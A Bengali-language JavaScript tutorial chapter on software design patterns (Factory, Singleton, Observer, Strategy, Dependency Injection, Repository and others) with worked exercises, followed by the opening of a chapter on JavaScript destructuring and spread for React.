✅ Reusable approach
একই pattern বিভিন্ন project-এ আলাদাভাবে implement করা যায়।
সাধারণভাবে GoF (Gang of Four) অনুযায়ী:
Design Patterns │ ├── Creational ├── Structural └── Behavioral
Object কীভাবে তৈরি হবে সেটি নিয়ে কাজ করে। Common:
Factory Abstract Factory Builder Singleton Prototype
Objects/classes কীভাবে একে অপরের সাথে structure তৈরি করবে। Common:
Adapter Decorator Facade Proxy Composite Bridge Flyweight
Objects কীভাবে communicate করবে এবং behavior manage করবে। Common:
Observer Strategy Command State Iterator Mediator Chain of Responsibility Template Method
তোমার Full Stack Development-এর জন্য আমরা বিশেষভাবে দেখব:
🔥 Module 🔥 Singleton 🔥 Factory 🔥 Builder 🔥 Observer 🔥 Pub/Sub 🔥 Strategy 🔥 Adapter 🔥 Decorator 🔥 Facade 🔥 Proxy 🔥 Command 🔥 Chain of Responsibility 🔥 State 🔥 Dependency Injection
Module Pattern-এর মূল উদ্দেশ্য:
আগে JavaScript-এ:
const userModule = (() => {
let users = [];
function addUser(user) {
users.push(user);
}
function getUsers() {
return users;
}
return {
addUser,
getUsers
};
})();
এখানে:
users
private। কিন্তু:
addUser() getUsers()
public।
ধরো:
users products payments cart
সব global scope-এ রাখলে conflict হতে পারে। Module:
User Module Product Module Payment Module Cart Module
এভাবে code organize করতে সাহায্য করে।
Modern JavaScript-এ আলাদা Module Pattern লেখার প্রয়োজন অনেক কমেছে।
user.jsexport function createUser(name) {
return {
name
};
}
app.jsimport { createUser } from "./user.js";
const user = createUser("Ripon");
console.log(user);
এটাই modern modular JavaScript।
Singleton-এর উদ্দেশ্য:
Real-life:
Application
↓
Configuration
↓
One shared instance
class Database {
static instance;
constructor() {
if (Database.instance) {
return Database.instance;
}
Database.instance = this;
}
}
Use:
const db1 = new Database();
const db2 = new Database();
console.log(db1 === db2);
Output:
true
যেমন:
Configuration
Logger
Cache
Database connection manager
Application state
কিন্তু সবকিছুর জন্য Singleton ব্যবহার করা উচিত নয়। কারণ excessive global shared state testing এবং maintainability কঠিন করতে পারে।
Factory Pattern object creation-এর logic আলাদা করে। ধরো:
function createUser(type) {
if (type === "admin") {
return {
role: "admin",
permissions: ["read", "write", "delete"]
};
}
if (type === "user") {
return {
role: "user",
permissions: ["read"]
};
}
}
Use:
const admin = createUser("admin");
const user = createUser("user");
ধরো payment system:
createPayment("card")
createPayment("paypal")
createPayment("bank")
Factory:
function createPayment(type) {
switch (type) {
case "card":
return new CardPayment();
case "paypal":
return new PayPalPayment();
case "bank":
return new BankPayment();
default:
throw new Error("Unknown payment type");
}
}
Client-কে জানতে হচ্ছে না object কীভাবে তৈরি হচ্ছে।
যখন object অনেক configuration/optional property নিয়ে তৈরি হয়, তখন Builder useful। ধরো:
const user = {
name: "Ripon",
age: 25,
email: "ripon@example.com",
role: "admin",
active: true
};
অনেক field থাকলে Builder:
class UserBuilder {
constructor() {
this.user = {};
}
setName(name) {
this.user.name = name;
return this;
}
setEmail(email) {
this.user.email = email;
return this;
}
setRole(role) {
this.user.role = role;
return this;
}
build() {
return this.user;
}
}
Use:
const user = new UserBuilder()
.setName("Ripon")
.setEmail("ripon@example.com")
.setRole("admin")
.build();
এখানে:
return this;
দেওয়ার কারণে chaining করা যায়।
setName() ↓ setEmail() ↓ setRole() ↓ build()
এটাকে method chaining বলা হয়।
JavaScript নিজেই prototype-based language। Prototype Pattern-এর idea হলো existing object থেকে নতুন object তৈরি করা।
const userPrototype = {
greet() {
console.log(`Hello ${this.name}`);
}
};
const user1 = Object.create(userPrototype);
user1.name = "Ripon";
user1.greet();
Output:
Hello Ripon
এখানে user1 prototype থেকে behavior পেয়েছে।
Adapter incompatible interface-কে compatible interface-এ convert করে। Real-life:
USB-C Laptop
↓
Adapter
↓
HDMI Monitor
Software-এও একই ধারণা। ধরো:
class OldPaymentSystem {
makePayment(amount) {
return `Paid ${amount}`;
}
}
কিন্তু নতুন system চায়:
pay(amount)
Adapter:
class PaymentAdapter {
constructor(oldSystem) {
this.oldSystem = oldSystem;
}
pay(amount) {
return this.oldSystem.makePayment(amount);
}
}
Use:
const oldSystem = new OldPaymentSystem();
const payment = new PaymentAdapter(oldSystem);
console.log(payment.pay(1000));
Old API ↓ Adapter ↓ New Application
Useful যখন:
Decorator existing object-এর behavior modify/extend করে। ধরো:
function basicUser() {
return {
name: "Ripon"
};
}
Decorator:
function addAdminPermission(user) {
return {
...user,
role: "admin"
};
}
Use:
const user = basicUser();
const admin = addAdminPermission(user);
console.log(admin);
ধরো coffee:
Coffee ↓ + Milk ↓ + Sugar ↓ + Cream
Software:
Base Function ↓ Decorator 1 ↓ Decorator 2 ↓ Decorator 3
একটি existing behavior-এর ওপর নতুন behavior layer করা হয়।
JavaScript-এ function দিয়েও decorator pattern করা যায়।
function withLogging(fn) {
return function (...args) {
console.log("Function called");
return fn(...args);
};
}
Original:
function add(a, b) {
return a + b;
}
Decorate:
const loggedAdd = withLogging(add);
loggedAdd(2, 3);
Output:
Function called
Return:
5
Facade complex system-এর সামনে simple interface দেয়। ধরো online order system:
Order ├── Inventory ├── Payment ├── Shipping ├── Notification └── Database
Client-কে সব system আলাদাভাবে call করতে না দিয়ে:
class OrderFacade {
constructor() {
this.inventory = new Inventory();
this.payment = new Payment();
this.shipping = new Shipping();
}
placeOrder(order) {
this.inventory.reserve(order);
this.payment.charge(order);
this.shipping.ship(order);
}
}
Client:
const orderSystem = new OrderFacade();
orderSystem.placeOrder(order);
Complex System
↓
Facade
↓
Simple API
JavaScript-এ Proxy built-in feature। Proxy দিয়ে object-এর operation intercept করা যায়।
const user = {
name: "Ripon"
};
const proxy = new Proxy(user, {
get(target, property) {
console.log(`Reading: ${property}`);
return target[property];
}
});
Use:
console.log(proxy.name);
Output conceptually:
Reading: name Ripon
Validation Logging Access control Reactive systems Caching Data transformation
Vue-এর reactive system-এর মতো frameworks-এ Proxy-এর concepts গুরুত্বপূর্ণ।
Observer Pattern-এর মূল idea:
Real-life:
YouTube Channel
↓
New Video
↓
Subscribers
↓
Notification
class Subject {
constructor() {
this.observers = [];
}
subscribe(observer) {
this.observers.push(observer);
}
notify(data) {
this.observers.forEach(observer => {
observer(data);
});
}
}
Use:
const news = new Subject();
news.subscribe(data => {
console.log("User 1:", data);
});
news.subscribe(data => {
console.log("User 2:", data);
});
news.notify("New article published");
Output:
User 1: New article published User 2: New article published
DOM Events
State Management
UI Updates
Notifications
WebSocket Events
Event Systems
React-এর state-driven UI এবং event-driven systems বুঝতে Observer concept helpful।
Observer-এর সাথে related হলেও Pub/Sub-এ publisher এবং subscriber সরাসরি একে অপরকে জানে না।
Publisher
↓
Event Bus
↓
Subscriber
class EventBus {
constructor() {
this.events = {};
}
subscribe(event, callback) {
if (!this.events[event]) {
this.events[event] = [];
}
this.events[event].push(callback);
}
publish(event, data) {
const callbacks = this.events[event] || [];
callbacks.forEach(callback => {
callback(data);
});
}
}
Use:
const bus = new EventBus();
bus.subscribe("login", user => {
console.log("Welcome", user.name);
});
bus.publish("login", {
name: "Ripon"
});
Output:
Welcome Ripon
| Observer | Pub/Sub |
|---|---|
| Subject knows observers | Publisher usually doesn't know subscribers |
| Direct relationship | Event channel/message bus |
| Simpler | More decoupled |
| State changes useful | Event communication useful |
Strategy Pattern:
ধরো payment:
Card PayPal Bank Crypto
একটি interface/contract-এর মাধ্যমে:
class PaymentProcessor {
constructor(strategy) {
this.strategy = strategy;
}
pay(amount) {
return this.strategy.pay(amount);
}
}
Strategies:
const cardPayment = {
pay(amount) {
return `Card payment: ${amount}`;
}
};
const bankPayment = {
pay(amount) {
return `Bank payment: ${amount}`;
}
};
Use:
const processor =
new PaymentProcessor(cardPayment);
console.log(processor.pay(1000));
Delivery system:
Standard Delivery Express Delivery Same-Day Delivery
Customer অনুযায়ী strategy change:
const delivery =
new DeliveryService(expressDelivery);
মূল business code বদলাতে হচ্ছে না।
Command Pattern:
ধরো text editor:
Type Copy Paste Undo Redo
Command:
class AddTextCommand {
constructor(editor, text) {
this.editor = editor;
this.text = text;
}
execute() {
this.editor.add(this.text);
}
undo() {
this.editor.remove(this.text);
}
}
এখানে action-টি object হয়ে গেল।
Undo/Redo Task Queue Transactions Menus Buttons Job Processing
একটি object-এর behavior তার current state-এর ওপর নির্ভর করলে State Pattern useful। Real-life:
Order │ ├── Pending ├── Paid ├── Shipped └── Delivered
State পরিবর্তনের সাথে behavior পরিবর্তিত হয়।
class Order {
constructor() {
this.state = "pending";
}
pay() {
if (this.state === "pending") {
this.state = "paid";
}
}
}
একটি request একাধিক handler-এর chain-এর মধ্য দিয়ে যায়।
Request ↓ Handler 1 ↓ Handler 2 ↓ Handler 3 ↓ Response
Request ↓ Check Token ↓ Check Permission ↓ Check Role ↓ Controller
Node/Express middleware system এই ধারণার সাথে খুব closely related। Example:
app.use(authMiddleware);
app.use(roleMiddleware);
app.get("/admin", controller);
Express-এর conceptually:
Request ↓ Middleware 1 ↓ Middleware 2 ↓ Middleware 3 ↓ Route Handler
প্রতিটি middleware:
function middleware(req, res, next) {
// work
next();
}
এটি Chain of Responsibility concept বোঝার জন্য খুব useful।
Dependency Injection বা DI হলো:
খারাপ coupling:
class UserService {
constructor() {
this.database = new MySQLDatabase();
}
}
এখানে UserService নিজেই database তৈরি করছে।
Better:
class UserService {
constructor(database) {
this.database = database;
}
}
তারপর:
const database = new MySQLDatabase();
const userService =
new UserService(database);
Testing সহজ:
const fakeDatabase = {
getUser() {
return {
id: 1,
name: "Test User"
};
}
};
তারপর:
const service =
new UserService(fakeDatabase);
Real database দরকার নেই। এখানে Testing + Design Pattern একসাথে কাজ করছে।
Dependency Injection হলো implementation technique। Dependency Inversion Principle হলো architectural principle। সহজভাবে:
High-level code
↓
Abstraction
↑
Low-level implementation
এতে tight coupling কমে।
Full Stack/Backend development-এ খুব useful। Database logic আলাদা layer-এ রাখা:
Controller ↓ Service ↓ Repository ↓ Database
Repository:
class UserRepository {
async findById(id) {
return db.users.findById(id);
}
}
Service:
class UserService {
constructor(userRepository) {
this.userRepository = userRepository;
}
async getUser(id) {
return this.userRepository.findById(id);
}
}
এতে database implementation change করা সহজ হয়।
Business logic controller-এ সব লিখে না রেখে Service layer-এ রাখা হয়। Bad:
Controller ├── validation ├── business logic ├── payment ├── database └── email
Better:
Controller ↓ Service ↓ Repository ↓ Database
Web development-এ খুব পরিচিত architecture:
MVC │ ├── Model ├── View └── Controller
Data/business model।
UI।
Request/interaction handle করে।
Browser ↓ Controller ↓ Model ↓ Database ↓ Controller ↓ View ↓ Browser
Traditional server-rendered applications-এ এটি খুব common।
Full Stack project-এ:
Presentation Layer
↓
Controller Layer
↓
Service Layer
↓
Repository Layer
↓
Database
এভাবে responsibility ভাগ করা যায়।
Design Pattern-এর বড় উদ্দেশ্যগুলোর একটি:
উদাহরণ:
Authentication Payment Email Database UI
সব এক function-এ না রেখে আলাদা responsibility।
DRY = Don't Repeat Yourself খারাপ:
function adminLogin() {
// same validation
}
function userLogin() {
// same validation
}
Better:
function validateLogin(data) {
// shared validation
}
তারপর:
validateLogin(adminData);
validateLogin(userData);
KISS = Keep It Simple অতিরিক্ত complex architecture সবসময় ভালো নয়। যদি problem:
function add(a, b) {
return a + b;
}
হয়, তাহলে ৫টি design pattern দরকার নেই। 😄 Pattern complexity তৈরি করার জন্য নয়।
YAGNI = You Aren't Gonna Need It যে feature এখন দরকার নেই, শুধু ভবিষ্যতে লাগতে পারে ভেবে architecture over-engineer করো না।
Need today
↓
Build today
Modern JavaScript/React development-এ খুব গুরুত্বপূর্ণ। Inheritance:
class Admin extends User {}
Composition:
const admin = {
...user,
permissions: ["read", "write"]
};
অথবা behavior compose করা। React নিজেও composition-এর ওপর অনেক বেশি জোর দেয়।
React development-এ তুমি দেখতে পারো:
Component Composition Container/Presentational Custom Hooks Provider Pattern Compound Components Render Props Higher-Order Components Observer-like state updates Strategy-like behavior selection
ধরো:
function useFetch(url) {
const [data, setData] = useState(null);
// fetch logic
return data;
}
Multiple components:
const users = useFetch("/api/users");
এতে fetching logic reuse করা যায়।
React Context:
<AuthProvider>
<App />
</AuthProvider>
তারপর:
const { user } = useAuth();
একটি shared context provide করা হয়। এটি Provider Pattern বোঝার জন্য useful।
Example:
<Select>
<Select.Option />
<Select.Option />
</Select>
Parent component এবং child components একসাথে coordinated behavior দেয়। এটি reusable UI component library-তে খুব useful।
প্রথমে pattern খুঁজবে না। প্রথমে problem বুঝবে।
Problem ↓ What changes? ↓ What is coupled? ↓ What should be reusable? ↓ Which pattern fits?
| Problem | সম্ভাব্য Pattern |
|---|---|
| Object creation complex | Factory / Builder |
| One shared instance | Singleton |
| Incompatible API | Adapter |
| Add behavior dynamically | Decorator |
| Complex system simplify | Facade |
| Object access intercept | Proxy |
| State change notification | Observer |
| Event communication | Pub/Sub |
| Multiple algorithms | Strategy |
| Undo/redo/action queue | Command |
| State-based behavior | State |
| Request through handlers | Chain of Responsibility |
| External dependency control | Dependency Injection |
| Database abstraction | Repository |
এটা খুব গুরুত্বপূর্ণ। ধরো:
function add(a, b) {
return a + b;
}
এখানে:
Factory Singleton Observer Strategy Facade
সব লাগানো absurd। 😄 Design Pattern:
Problem solve করার tool
Architecture decorate করার জন্য নয়।
✅ Reusability ✅ Maintainability ✅ Scalability ✅ Testability ✅ Loose Coupling ✅ Better Organization ✅ Team Communication
Pattern ভুলভাবে ব্যবহার করলে:
❌ Over-engineering
❌ More code
❌ More abstraction
❌ Harder debugging
❌ Unnecessary complexity
তাই:
তোমার Full Stack project-এর জন্য একটি practical architecture:
React Frontend
│
▼
API Request
│
▼
Express Router
│
▼
Middleware
│
▼
Controller
│
▼
Service
│
▼
Repository
│
▼
Database
এখানে বিভিন্ন concept:
Middleware → Chain of Responsibility Repository → Repository Pattern Service → Separation of Concerns Dependency Injection → Loose Coupling React Context → Provider Pattern API events → Observer / Pub-Sub concepts
ধরো তুমি একটি E-commerce Order System বানাচ্ছো। Architecture:
User ↓ OrderController ↓ OrderService ↓ PaymentStrategy ↓ PaymentGateway ↓ Repository ↓ Database
const card = {
pay(amount) {
return `Card: ${amount}`;
}
};
const bank = {
pay(amount) {
return `Bank: ${amount}`;
}
};
class OrderService {
constructor(paymentStrategy) {
this.paymentStrategy = paymentStrategy;
}
checkout(amount) {
return this.paymentStrategy.pay(amount);
}
}
Use:
const service =
new OrderService(card);
console.log(service.checkout(2000));
Output:
Card: 2000
Payment method change:
const service =
new OrderService(bank);
মূল OrderService code পরিবর্তন করতে হয়নি। এটাই Strategy + Dependency Injection-এর practical combination।
সফটওয়্যার ইঞ্জিনিয়ারিং ও ফুলস্ট্যাক ডেভেলপমেন্টে সিনিয়র লেভেলে উত্তীর্ণ হতে এই ২৫টি কনসেপ্ট অত্যন্ত জরুরি:
| Pattern Name | Category | Primary Intent | Production Real-World Example |
|---|---|---|---|
| Factory Pattern | Creational | অবজেক্ট তৈরির মেকানিজম এনক্যাপসুলেট করা | document.createElement(), Auth User Factory |
| Singleton Pattern | Creational | একটিমাত্র ইনস্ট্যান্স নিশ্চিত ও শেয়ার করা | Database Connection Pool, Global State Manager |
| Builder Pattern | Creational | ধাপে ধাপে জটিল কনফিগারেশন তৈরি | Knex/Prisma Query Builder, Form Builder |
| Adapter Pattern | Structural | ভিন্ন ইন্টারফেসকে প্রত্যাশিত ফরম্যাটে মেলানো | Legacy Payment API to Modern Interface |
| Decorator Pattern | Structural | অবজেক্ট মডিফাই না করে ডায়নামিক আচরণ বৃদ্ধি | Express Middleware, HOC (Higher-Order Components) |
| Facade Pattern | Structural | জটিল সাবসিস্টেমের সামনে একটি সহজ API দেওয়া | Axios facade over fetch/XMLHttpRequest |
| Proxy Pattern | Structural | অবজেক্টের অ্যাক্সেস নিয়ন্ত্রণ বা ক্যাশিং | Vue 3 Reactive System, Validation Proxy |
| Observer Pattern | Behavioral | ১-টু-মেনি অবজেক্ট নোটিফিকেশন সিস্টেম | DOM addEventListener, MobX Observables |
| Pub/Sub Pattern | Behavioral | মধ্যবর্তী চ্যানেল দ্বারা সম্পূর্ণ ডিকাপল্ড ইভেন্ট | Node.js EventEmitter, Redux Actions, Redis Pub/Sub |
| Strategy Pattern | Behavioral | রানটাইমে অ্যালগরিদম অদলবদল করা | Multi-gateway Payment (Card/bKash/Bank) |
| Command Pattern | Behavioral | রিকোয়েস্টকে অবজেক্টে রূপান্তর (Undo/Redo) | Rich Text Editor actions, Task Queues |
| State Pattern | Behavioral | অবজেক্টের অভ্যন্তরীণ স্টেট অনুযায়ী আচরণ বদলানো | Order Status Machine (Pending -> Paid -> Shipped) |
| Chain of Responsibility | Behavioral | হ্যান্ডলার চেইনে রিকোয়েস্ট পাস করা | Express/Koa middleware pipeline |
| Dependency Injection | Architectural | ক্লাসের বাইরে থেকে ডিপেন্ডেন্সি পাস করা | NestJS DI Container, Unit Testing Mocking |
| Repository Pattern | Architectural | ডাটা অ্যাক্সেস লজিক বিজনেস লজিক থেকে পৃথক | ORM Repositories (Prisma, TypeORM) |
| Service Layer | Architectural | বিজনেস লজিক এক জায়গায় সেন্ট্রালাইজ করা | Enterprise Node.js / NestJS Backend |
সমস্যা ও লক্ষ্য: একটি createUser("admin" | "user" | "guest") Factory তৈরি করুন যা ইউজারের রোল অনুযায়ী নির্দিষ্ট পারমিশন (canEdit, canDelete, canView) যুক্ত অবজেক্ট রিটার্ন করবে।
function createUser(role, name) {
const baseUser = { name, role, createdAt: new Date().toISOString() };
switch (role) {
case 'admin':
return {
...baseUser,
permissions: { canView: true, canEdit: true, canDelete: true },
describe() { return `${this.name} [ADMIN] - Full Access`; }
};
case 'user':
return {
...baseUser,
permissions: { canView: true, canEdit: true, canDelete: false },
describe() { return `${this.name} [USER] - Edit Access`; }
};
case 'guest':
default:
return {
...baseUser,
permissions: { canView: true, canEdit: false, canDelete: false },
describe() { return `${this.name} [GUEST] - Read-Only Access`; }
};
}
}
// Verification
const admin = createUser('admin', 'Tanvir');
const guest = createUser('guest', 'Rahim');
console.log(admin.describe()); // Tanvir [ADMIN] - Full Access
console.log('Guest Delete Allowed:', guest.permissions.canDelete); // false
if/else চেক করার দরকার হয় না।সমস্যা ও লক্ষ্য: একটি Logger ক্লাস তৈরি করুন যেখানে যতবারই new Logger() করা হোক না কেন, সবসময় একই শেয়ার্ড ইনস্ট্যান্স রিটার্ন হবে (logger1 === logger2 হবে true)।
class Logger {
constructor() {
if (Logger.instance) {
return Logger.instance;
}
this.logs = [];
Logger.instance = this;
}
log(message) {
const timestamp = new Date().toLocaleTimeString();
const entry = `[${timestamp}] ${message}`;
this.logs.push(entry);
console.log(entry);
}
getLogCount() {
return this.logs.length;
}
}
// Verification
const logger1 = new Logger();
const logger2 = new Logger();
logger1.log('Application started successfully');
logger2.log('Database connected');
console.log('Is Identical Instance?', logger1 === logger2); // true
console.log('Total Logs Recorded:', logger1.getLogCount()); // 2
সমস্যা ও লক্ষ্য: একটি পুরোনো সিস্টেমের API মেথড oldAPI.getUserData() রিটার্ন করে { first_name, last_name, user_email }। এটিকে ক্লায়েন্টের প্রত্যাশিত আধুনিক ইন্টারফেস userService.getUser() অর্থাৎ { fullName, email } ফরম্যাটে রূপান্তর করতে একটি Adapter লিখুন।
// Legacy Service (Cannot modify directly)
class LegacyUserAPI {
getUserData() {
return {
first_name: 'Shariar',
last_name: 'Ahamed',
user_email: 'shariar@example.com'
};
}
}
// Adapter implementing Modern Target Interface
class UserAdapter {
constructor(legacyApi) {
this.legacyApi = legacyApi;
}
getUser() {
const data = this.legacyApi.getUserData();
return {
fullName: `${data.first_name} ${data.last_name}`,
email: data.user_email
};
}
}
// Client Usage
const legacyAPI = new LegacyUserAPI();
const userService = new UserAdapter(legacyAPI);
const user = userService.getUser();
console.log('Modern Format:', user);
// Output: Modern Format: { fullName: 'Shariar Ahamed', email: 'shariar@example.com' }
সমস্যা ও লক্ষ্য: একটি ই-কমার্স পেমেন্ট সিস্টেম তৈরি করুন যাতে Card, Bank Transfer এবং Mobile Banking (bKash/Nagad) স্ট্র্যাটেজি আলাদা অবজেক্ট হিসেবে থাকবে এবং পেমেন্ট সার্ভিস রানটাইমে কৌশল অদলবদল করতে পারবে।
// 1. Concrete Strategies
const CardPaymentStrategy = {
pay(amount) {
return `Paid ৳${amount} via Credit/Debit Card (Gateway Fee: 1.5%)`;
}
};
const BankTransferStrategy = {
pay(amount) {
return `Paid ৳${amount} via Direct Bank Wire (Routing: 092834)`;
}
};
const MobileBankingStrategy = {
pay(amount) {
return `Paid ৳${amount} via bKash/Nagad Wallet (Instant SMS TrxID)`;
}
};
// 2. Context Service
class CheckoutService {
constructor(strategy) {
this.strategy = strategy;
}
setStrategy(newStrategy) {
this.strategy = newStrategy;
}
processPayment(amount) {
return this.strategy.pay(amount);
}
}
// Usage
const checkout = new CheckoutService(CardPaymentStrategy);
console.log(checkout.processPayment(5000));
// Switch strategy at runtime without breaking CheckoutService
checkout.setStrategy(MobileBankingStrategy);
console.log(checkout.processPayment(1200));
সমস্যা ও লক্ষ্য: এমন একটি Subject তৈরি করুন যা মেসেজ আসলে তার সকল রেজিস্টার্ড Observer (User 1, User 2, User 3)-কে স্বয়ংক্রিয়ভাবে নোটিফাই করবে।
class NotificationSubject {
constructor() {
this.observers = [];
}
subscribe(observer) {
this.observers.push(observer);
}
unsubscribe(observer) {
this.observers = this.observers.filter(obs => obs !== observer);
}
notify(message) {
this.observers.forEach(observer => observer.update(message));
}
}
class UserObserver {
constructor(username) {
this.username = username;
}
update(message) {
console.log(`[Notification to ${this.username}]: ${message}`);
}
}
// Execution
const channel = new NotificationSubject();
const user1 = new UserObserver('Abrar');
const user2 = new UserObserver('Fatima');
channel.subscribe(user1);
channel.subscribe(user2);
channel.notify('🎉 JavaScript Master Chapter 37 is now available!');
// Both Abrar and Fatima receive notifications simultaneously
সমস্যা ও লক্ষ্য: একটি গ্লোবাল EventBus তৈরি করুন যাতে subscribe(event, callback) এবং publish(event, data) মেথড থাকবে, যেখানে পাবলিশার এবং সাবস্ক্রাইবার একে অপরকে সরাসরি চেনে না।
class EventBus {
constructor() {
this.events = {};
}
subscribe(event, callback) {
if (!this.events[event]) {
this.events[event] = [];
}
this.events[event].push(callback);
// Return unsubscribe function
return () => {
this.events[event] = this.events[event].filter(cb => cb !== callback);
};
}
publish(event, data) {
if (this.events[event]) {
this.events[event].forEach(callback => callback(data));
}
}
}
// Global Bus Usage
const bus = new EventBus();
const unsubAuth = bus.subscribe('user:login', user => {
console.log(`Auth System: Welcome back ${user.name}!`);
});
bus.subscribe('user:login', user => {
console.log(`Analytics System: Logged in event for ID ${user.id}`);
});
bus.publish('user:login', { id: 101, name: 'Tanvir' });
unsubAuth(); // Cleanly detach auth listener
সমস্যা ও লক্ষ্য: এমন একটি UserService তৈরি করুন যা কনস্ট্রাক্টরের মাধ্যমে ডাটাবেস ইন্সট্যান্স ইনজেক্ট করে নেয়। এর মাধ্যমে প্রোডাকশন DB এবং টেস্ট মক DB উভয়েই যাতে একই সার্ভিস ব্যবহার করতে পারে তা দেখান।
// Database Implementations
class MongoDatabase {
find(id) {
return { id, name: 'Prod User', source: 'MongoDB Atlas' };
}
}
class MockTestDatabase {
find(id) {
return { id, name: 'Test Fixture User', source: 'In-Memory Mock' };
}
}
// Service with Injected Dependency
class UserService {
constructor(database) {
this.db = database; // Injected externally
}
getUserProfile(id) {
const record = this.db.find(id);
return `User: ${record.name} (Retrieved via ${record.source})`;
}
}
// In Production
const prodService = new UserService(new MongoDatabase());
console.log(prodService.getUserProfile(1));
// In Unit Testing
const testService = new UserService(new MockTestDatabase());
console.log(testService.getUserProfile(1));
new Class() কল বন্ধ করে বাইরে থেকে ইনস্ট্যান্স সাপ্লাই করে। এটি কোডকে 100% টেস্টেবল ও মডুলার বানায়।সমস্যা ও লক্ষ্য: Controller -> Service -> Repository -> Database এই লেয়ারড আর্কিটেকচার মেনে একটি সম্পূর্ণ ইউজার রেজিস্ট্রেশন ও ফেচিং সিস্টেম লিখুন।
// 1. Repository Layer (Only talks to DB)
class UserRepository {
constructor() {
this.storage = new Map();
}
create(user) {
this.storage.set(user.id, user);
return user;
}
findById(id) {
return this.storage.get(id) || null;
}
}
// 2. Service Layer (Pure Business Logic & Validations)
class UserService {
constructor(userRepo) {
this.userRepo = userRepo;
}
register(id, name, email) {
if (!email.includes('@')) throw new Error('Invalid email address');
return this.userRepo.create({ id, name, email });
}
getDetails(id) {
const user = this.userRepo.findById(id);
if (!user) throw new Error('User not found');
return user;
}
}
// 3. Controller Layer (HTTP / Client Interface)
class UserController {
constructor(userService) {
this.userService = userService;
}
handleRegister(id, name, email) {
try {
const created = this.userService.register(id, name, email);
return { status: 201, data: created };
} catch (err) {
return { status: 400, error: err.message };
}
}
}
// Wire-up
const repo = new UserRepository();
const service = new UserService(repo);
const controller = new UserController(service);
console.log(controller.handleRegister(1, 'Kabir', 'kabir@code.bd'));
সমস্যা ও লক্ষ্য: Factory, Strategy, Service, Repository এবং Observer প্যাটার্নগুলোর সমন্বয়ে একটি সম্পূর্ণ এন্ড-টু-এন্ড E-Commerce Checkout System তৈরি করুন।
// 1. Strategy: Payment Methods
const BkashStrategy = { pay: amount => `Bkash: ৳${amount} confirmed` };
const CardStrategy = { pay: amount => `Visa/Mastercard: ৳${amount} settled` };
// 2. Observer: Order Notification Event Bus
class OrderNotifier {
constructor() { this.listeners = []; }
onOrderSuccess(fn) { this.listeners.push(fn); }
broadcast(order) { this.listeners.forEach(fn => fn(order)); }
}
// 3. Repository: Order Storage
class OrderRepository {
constructor() { this.orders = []; }
save(order) { this.orders.push(order); return order; }
}
// 4. Service: Business Logic & Orchestration
class OrderService {
constructor(orderRepo, notifier) {
this.orderRepo = orderRepo;
this.notifier = notifier;
}
checkout(orderId, items, amount, paymentStrategy) {
// 1. Process payment via strategy
const paymentReceipt = paymentStrategy.pay(amount);
// 2. Persist order via repository
const order = this.orderRepo.save({
id: orderId,
items,
amount,
paymentReceipt,
status: 'PAID',
date: new Date().toISOString()
});
// 3. Notify all listeners via observer
this.notifier.broadcast(order);
return order;
}
}
// --- Application Assembly & Execution ---
const notifier = new OrderNotifier();
notifier.onOrderSuccess(order => console.log(`[SMS Gateway]: Order #${order.id} paid ৳${order.amount}`));
notifier.onOrderSuccess(order => console.log(`[Warehouse]: Pack items for Order #${order.id}`));
const repo = new OrderRepository();
const orderService = new OrderService(repo, notifier);
const completedOrder = orderService.checkout(
'ORD-9821',
['JavaScript Master Book', 'Coffee Mug'],
1450,
BkashStrategy
);
console.log('Final Order Result:', completedOrder.status);
পুরো Chapter 37-এর ডিজাইন প্যাটার্ন ও সফটওয়্যার আর্কিটেকচার একনজরে:
DESIGN PATTERNS │ ┌───────────────┼────────────────┐ │ │ │ CREATIONAL STRUCTURAL BEHAVIORAL │ │ │ Factory Adapter Observer Builder Decorator Pub/Sub Singleton Facade Strategy Prototype Proxy Command State Chain │ ▼ ARCHITECTURE │ ┌────────┼────────┐ │ │ │ Controller Service Repository │ │ │ └────────┼────────┘ │ Dependency Injection │ ▼ Database/API
Chapter 36: Modern ECMAScript / ES2020+ Features
↓
Optional Chaining, Nullish Coalescing, Top-level Await, toSorted, Object.groupBy
↓
Chapter 37: JavaScript Design Patterns (THIS CHAPTER)
↓
Creational, Structural, Behavioral, MVC, Dependency Injection & Repository
↓
Chapter 38: Advanced JavaScript for React
↓
Reactivity Engine, Custom Hooks Architecture, State Machines & Virtual DOM Deep Dive
React শেখা মানে মূলত আধুনিক JavaScript-এর অ্যাডভান্সড ফিচার ও প্যাটার্নসমূহ আয়ত্ত করা। শুধু JSX বা useState() জানলেই চলে না—ইমিউটেবল স্টেট আপডেট, ক্লোজার, হাইয়ার-অর্ডার ফাংশন, রেফারেন্স বনাম ভ্যালু, অ্যারে ট্রান্সফর্মেশন (map/filter/reduce), অপশনাল চেইনিং, ইভেন্ট ডেলিগেশন এবং ডিবউন্সিং/থ্রটলিং জানা অপরিহার্য। এই চ্যাপ্টারে আমরা এই প্রতিটি বিষয় বাস্তব কোডসহ বিশদভাবে শিখব।
React মূলত JavaScript-এর উপর তৈরি। তাই React-এ এই ধরনের code খুব common:
const users = [
{ name: "Ripon", age: 23 },
{ name: "Rahim", age: 22 }
];
const names = users.map(user => user.name);
এখানে React নেই, কিন্তু React application-এ এই ধরনের JavaScript প্রতিদিন ব্যবহার করতে হবে।
JavaScript ↓ Modern JavaScript ↓ React ↓ Next.js / Full Stack
তাই Advanced JavaScript ভালোভাবে জানা = React অনেক সহজ হয়ে যাওয়া।
Destructuring হলো object বা array থেকে প্রয়োজনীয় value সরাসরি variable-এ বের করে নেওয়া।
const user = {
name: "Ripon",
age: 23,
city: "Dhaka"
};
const { name, age } = user;
console.log(name);
console.log(age);
Ripon
23
আগে লিখতে হতো:
const name = user.name;
const age = user.age;
Destructuring:
const { name, age } = user;
function UserCard({ name, age }) {
return (
<div>
<h2>{name}</h2>
<p>{age}</p>
</div>
);
}
এখানে:
{name, age}
হলো props destructuring।
const colors = ["red", "green", "blue"];
const [first, second, third] = colors;
console.log(first);
console.log(second);
console.log(third);
Output:
red green blue
React-এর সবচেয়ে famous example:
const [count, setCount] = useState(0);
এখানে:
count → প্রথম value setCount → দ্বিতীয় value
অর্থাৎ React-এর useState() বুঝতেও Array Destructuring জানা দরকার।
...Spread operator একটি array/object-এর elements বা properties ছড়িয়ে দেয়।
const numbers = [1, 2, 3];
const newNumbers = [...numbers, 4, 5];
console.log(newNumbers);
Output:
[1, 2, 3, 4, 5]
const user = {
name: "Ripon",
age: 23
};
const updatedUser = {
...user,
age: 24
};
console.log(updatedUser);
Output:
{
name: "Ripon",
age: 24
}
setUser({
...user,
age: 24
});
এর অর্থ:
age পরিবর্তন করো।দেখতে একই:
...
